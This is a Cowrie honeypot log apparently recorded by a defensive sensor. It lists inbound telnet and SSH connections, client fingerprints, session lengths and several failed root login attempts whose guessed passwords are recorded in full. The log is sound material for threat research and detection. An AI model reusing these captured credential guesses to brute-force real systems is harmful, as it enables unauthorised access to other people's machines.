{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":58626,"dst_ip":"10.17.0.5","dst_port":23,"session":"b665d8ccee5c","protocol":"telnet","message":"New connection: 152.42.224.71:58626 (10.17.0.5:23) [session: b665d8ccee5c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:17:57.289132Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":58638,"dst_ip":"10.17.0.5","dst_port":23,"session":"57e79f803f0e","protocol":"telnet","message":"New connection: 152.42.224.71:58638 (10.17.0.5:23) [session: 57e79f803f0e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:18:02.306817Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":58652,"dst_ip":"10.17.0.5","dst_port":23,"session":"3576339c8402","protocol":"telnet","message":"New connection: 152.42.224.71:58652 (10.17.0.5:23) [session: 3576339c8402]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:18:03.314487Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":58654,"dst_ip":"10.17.0.5","dst_port":23,"session":"55f137f9aeb9","protocol":"telnet","message":"New connection: 152.42.224.71:58654 (10.17.0.5:23) [session: 55f137f9aeb9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:18:05.334533Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":35978,"dst_ip":"10.17.0.5","dst_port":23,"session":"b152d105806c","protocol":"telnet","message":"New connection: 152.42.224.71:35978 (10.17.0.5:23) [session: b152d105806c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:18:08.834739Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.211.215","src_port":40190,"dst_ip":"10.17.0.5","dst_port":22,"session":"df0aa2a4ae77","protocol":"ssh","message":"New connection: 147.45.211.215:40190 (10.17.0.5:22) [session: df0aa2a4ae77]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:18:11.524679Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:18:11.529011Z","src_ip":"147.45.211.215","session":"df0aa2a4ae77","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:18:11.698276Z","src_ip":"147.45.211.215","session":"df0aa2a4ae77","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"228228","message":"login attempt [root/228228] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:18:12.213273Z","src_ip":"147.45.211.215","session":"df0aa2a4ae77","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:18:13.384694Z","src_ip":"147.45.211.215","session":"df0aa2a4ae77","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":11.480819463729858,"message":"Connection lost after 11 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:18:14.795186Z","src_ip":"152.42.224.71","session":"3576339c8402","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":35986,"dst_ip":"10.17.0.5","dst_port":23,"session":"57229e8d2589","protocol":"telnet","message":"New connection: 152.42.224.71:35986 (10.17.0.5:23) [session: 57229e8d2589]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:18:15.843994Z"}
{"eventid":"cowrie.session.closed","duration":118.41946339607239,"message":"Connection lost after 118 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:18:16.257546Z","src_ip":"152.42.224.71","session":"1fbe80342235","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":56750,"dst_ip":"10.17.0.5","dst_port":23,"session":"0ca53b755505","protocol":"telnet","message":"New connection: 152.42.224.71:56750 (10.17.0.5:23) [session: 0ca53b755505]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:18:21.552226Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.98.149.87","src_port":40308,"dst_ip":"10.17.0.5","dst_port":22,"session":"ee59ff9b7a4c","protocol":"ssh","message":"New connection: 103.98.149.87:40308 (10.17.0.5:22) [session: ee59ff9b7a4c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:18:23.334766Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:18:23.359489Z","src_ip":"103.98.149.87","session":"ee59ff9b7a4c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:18:24.049292Z","src_ip":"103.98.149.87","session":"ee59ff9b7a4c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"loveyou","message":"login attempt [root/loveyou] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:18:25.815260Z","src_ip":"103.98.149.87","session":"ee59ff9b7a4c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.7","message":"Connection lost after 3.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:18:27.086453Z","src_ip":"103.98.149.87","session":"ee59ff9b7a4c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"196.189.237.92","src_port":43714,"dst_ip":"10.17.0.5","dst_port":22,"session":"e8b786018ae9","protocol":"ssh","message":"New connection: 196.189.237.92:43714 (10.17.0.5:22) [session: e8b786018ae9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:18:29.048093Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:18:29.057647Z","src_ip":"196.189.237.92","session":"e8b786018ae9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:18:29.227484Z","src_ip":"196.189.237.92","session":"e8b786018ae9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root@123$%^","message":"login attempt [root/root@123$%^] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:18:29.931296Z","src_ip":"196.189.237.92","session":"e8b786018ae9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:18:31.103290Z","src_ip":"196.189.237.92","session":"e8b786018ae9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.66.85.226","src_port":47342,"dst_ip":"10.17.0.5","dst_port":22,"session":"6773c23520a3","protocol":"ssh","message":"New connection: 80.66.85.226:47342 (10.17.0.5:22) [session: 6773c23520a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:18:42.081991Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:18:42.086074Z","src_ip":"80.66.85.226","session":"6773c23520a3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:18:42.181487Z","src_ip":"80.66.85.226","session":"6773c23520a3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"liverpool","message":"login attempt [root/liverpool] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:18:42.463789Z","src_ip":"80.66.85.226","session":"6773c23520a3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:18:43.560091Z","src_ip":"80.66.85.226","session":"6773c23520a3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":55648,"dst_ip":"10.17.0.5","dst_port":23,"session":"d826ff7ce381","protocol":"telnet","message":"New connection: 152.42.224.71:55648 (10.17.0.5:23) [session: d826ff7ce381]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:18:44.510942Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":55660,"dst_ip":"10.17.0.5","dst_port":23,"session":"25471d255c20","protocol":"telnet","message":"New connection: 152.42.224.71:55660 (10.17.0.5:23) [session: 25471d255c20]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:18:47.642455Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":48194,"dst_ip":"10.17.0.5","dst_port":23,"session":"e572cd5ea45b","protocol":"telnet","message":"New connection: 152.42.224.71:48194 (10.17.0.5:23) [session: e572cd5ea45b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:18:47.794675Z"}
{"eventid":"cowrie.session.closed","duration":50.55602550506592,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:18:47.845020Z","src_ip":"152.42.224.71","session":"b665d8ccee5c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":4.537538290023804,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:18:52.179828Z","src_ip":"152.42.224.71","session":"25471d255c20","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":47.17491865158081,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:18:52.509322Z","src_ip":"152.42.224.71","session":"55f137f9aeb9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":53.21619534492493,"message":"Connection lost after 53 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:18:55.522879Z","src_ip":"152.42.224.71","session":"57e79f803f0e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":51482,"dst_ip":"10.17.0.5","dst_port":23,"session":"3d1dcd068d86","protocol":"telnet","message":"New connection: 152.42.224.71:51482 (10.17.0.5:23) [session: 3d1dcd068d86]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:18:56.796858Z"}
{"eventid":"cowrie.session.closed","duration":50.40208458900452,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:19:11.954166Z","src_ip":"152.42.224.71","session":"0ca53b755505","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"109.172.54.111","src_port":59698,"dst_ip":"159.203.135.109","dst_port":22,"session":"5635e405893c","protocol":"ssh","message":"New connection: 109.172.54.111:59698 (159.203.135.109:22) [session: 5635e405893c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:19:13.634685Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:19:13.641498Z","src_ip":"109.172.54.111","session":"5635e405893c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:19:13.738552Z","src_ip":"109.172.54.111","session":"5635e405893c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"128500","message":"login attempt [root/128500] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:19:14.132611Z","src_ip":"109.172.54.111","session":"5635e405893c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:19:15.242455Z","src_ip":"109.172.54.111","session":"5635e405893c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"109.237.96.109","src_port":49958,"dst_ip":"159.203.135.109","dst_port":22,"session":"b02bc7a65320","protocol":"ssh","message":"New connection: 109.237.96.109:49958 (159.203.135.109:22) [session: b02bc7a65320]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:19:20.566505Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:19:20.571367Z","src_ip":"109.237.96.109","session":"b02bc7a65320","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:19:20.666212Z","src_ip":"109.237.96.109","session":"b02bc7a65320","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaz2wsx3ed","message":"login attempt [root/1qaz2wsx3ed] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:19:20.939655Z","src_ip":"109.237.96.109","session":"b02bc7a65320","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":39278,"dst_ip":"10.17.0.5","dst_port":23,"session":"c8737f3382a9","protocol":"telnet","message":"New connection: 152.42.224.71:39278 (10.17.0.5:23) [session: c8737f3382a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:19:21.099103Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:19:22.031694Z","src_ip":"109.237.96.109","session":"b02bc7a65320","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.30752730369568,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:19:22.818354Z","src_ip":"152.42.224.71","session":"d826ff7ce381","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"171.244.201.80","src_port":25622,"dst_ip":"10.17.0.5","dst_port":22,"session":"ccc09bf66ca3","protocol":"ssh","message":"New connection: 171.244.201.80:25622 (10.17.0.5:22) [session: ccc09bf66ca3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:19:25.678680Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:19:25.689444Z","src_ip":"171.244.201.80","session":"ccc09bf66ca3","protocol":"ssh"}
